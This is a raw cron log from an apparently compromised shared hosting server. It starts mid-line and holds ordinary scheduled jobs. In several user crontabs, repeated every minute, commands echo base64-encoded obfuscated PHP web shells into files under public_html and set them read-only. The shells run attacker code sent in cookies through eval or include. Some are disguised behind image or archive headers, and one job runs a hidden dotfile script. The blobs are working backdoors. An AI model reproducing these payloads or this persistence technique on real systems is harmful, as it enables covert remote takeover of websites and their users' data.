C4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:37:01 medusa CROND[4716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:37:01 medusa CROND[4717]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:37:01 medusa CROND[4719]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:37:01 medusa CROND[4720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:37:01 medusa CROND[4724]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:37:01 medusa CROND[4734]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:37:01 medusa CROND[4735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:37:01 medusa CROND[4736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:37:01 medusa CROND[4737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:37:01 medusa CROND[4743]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:38:01 medusa CROND[25217]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:38:01 medusa CROND[25218]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:38:01 medusa CROND[25226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:38:01 medusa CROND[25223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:38:01 medusa CROND[25231]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:38:01 medusa CROND[25230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:38:01 medusa CROND[25232]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:38:01 medusa CROND[25233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:38:01 medusa CROND[25234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:38:01 medusa CROND[25235]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:38:01 medusa CROND[25240]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:38:01 medusa CROND[25242]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:38:01 medusa CROND[25245]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:39:01 medusa CROND[10621]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 11:39:01 medusa CROND[10622]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:39:01 medusa CROND[10623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:39:01 medusa CROND[10624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:39:01 medusa CROND[10625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:39:01 medusa CROND[10626]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:39:01 medusa CROND[10628]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:39:01 medusa CROND[10633]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:39:01 medusa CROND[10635]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:39:01 medusa CROND[10636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:39:01 medusa CROND[10639]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
